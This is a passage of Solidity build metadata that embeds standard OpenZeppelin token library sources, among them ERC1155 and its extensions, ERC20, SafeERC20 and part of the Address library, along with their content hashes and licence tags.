(bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _doSafeBatchTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) private {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (\\n bytes4 response\\n ) {\\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\\n uint256[] memory array = new uint256[](1);\\n array[0] = element;\\n\\n return array;\\n }\\n}\\n\",\"keccak256\":\"0x09c24182fc76ee97a5c604b6ff1a8afb3648535b6ba1820c23b243a40cc792a0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(\\n address indexed operator,\\n address indexed from,\\n address indexed to,\\n uint256[] ids,\\n uint256[] values\\n );\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\\n external\\n view\\n returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes calldata data\\n ) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] calldata ids,\\n uint256[] calldata amounts,\\n bytes calldata data\\n ) external;\\n}\\n\",\"keccak256\":\"0xfce1eb6398eae0e2b50251140866a70a3106193f101972c878bba1dbf44929ec\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n ) external returns (bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n ) external returns (bytes4);\\n}\\n\",\"keccak256\":\"0x7de6e64d4a8075e803a972cc77c4c91463e0c3777e4110eacfb5d4a71759b2fa\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC1155.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC1155} that allows token holders to destroy both their\\n * own tokens and those that they have been approved to use.\\n *\\n * _Available since v3.1._\\n */\\nabstract contract ERC1155Burnable is ERC1155 {\\n function burn(\\n address account,\\n uint256 id,\\n uint256 value\\n ) public virtual {\\n require(\\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n _burn(account, id, value);\\n }\\n\\n function burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory values\\n ) public virtual {\\n require(\\n account == _msgSender() || isApprovedForAll(account, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n _burnBatch(account, ids, values);\\n }\\n}\\n\",\"keccak256\":\"0xedf8db444aa542739a0aabe8243a4e8100003aacba9783637a75f16bb556ab44\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC1155.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC1155 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n *\\n * _Available since v3.1._\\n */\\nabstract contract ERC1155Pausable is ERC1155, Pausable {\\n /**\\n * @dev See {ERC1155-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual override {\\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n require(!paused(), \\\"ERC1155Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x4f97aa55fc912e2ef5df98d1155d7fd1e7c0d486ad49b5d983d7fe2739ef7749\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC1155.sol\\\";\\n\\n/**\\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155MetadataURI is IERC1155 {\\n /**\\n * @dev Returns the URI for token type `id`.\\n *\\n * If the `\\\\{id\\\\}` substring is present in the URI, it must be replaced by\\n * clients with the actual token type ID.\\n */\\n function uri(uint256 id) external view returns (string memory);\\n}\\n\",\"keccak256\":\"0x6ba0564f6970414d1166ee83127b834bbe7dbf699241a3005eb7ae64a2211975\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping(address => uint256) private _balances;\\n\\n mapping(address => mapping(address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The default value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor(string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n unchecked {\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n }\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n unchecked {\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n }\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves `amount` of tokens from `sender` to `recipient`.\\n *\\n * This internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n unchecked {\\n _balances[sender] = senderBalance - amount;\\n }\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n\\n _afterTokenTransfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n\\n _afterTokenTransfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[account] = accountBalance - amount;\\n }\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n\\n _afterTokenTransfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(\\n address owner,\\n address spender,\\n uint256 amount\\n ) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual {}\\n\\n /**\\n * @dev Hook that is called after any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * has been transferred to `to`.\\n * - when `from` is zero, `amount` tokens have been minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _afterTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual {}\\n}\\n\",\"keccak256\":\"0x418cfe64226a974419f8ab7287ad4bb413156a4d7af8ab5d9bcaa5678d1a2f22\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0x027b891937d20ccf213fdb9c31531574256de774bda99d3a70ecef6e1913ed2a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(\\n IERC20 token,\\n address to,\\n uint256 value\\n ) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(\\n IERC20 token,\\n address from,\\n address to,\\n uint256 value\\n ) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n require(\\n (value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(\\n IERC20 token,\\n address spender,\\n uint256 value\\n ) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) {\\n // Return data is optional\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x02348b2e4b9f3200c7e3907c5c2661643a6d8520e9f79939fbb9b4005a54894d\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n assembly {\\n size := extcodesize(account)\\n }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n (bool success, ) = recipient.call{value: amount}(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain `call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(\\n address target,\\n bytes memory data,\\n string memory errorMessage\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(\\n address target,\\n bytes memory data,\\n uint256 value\\n ) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback 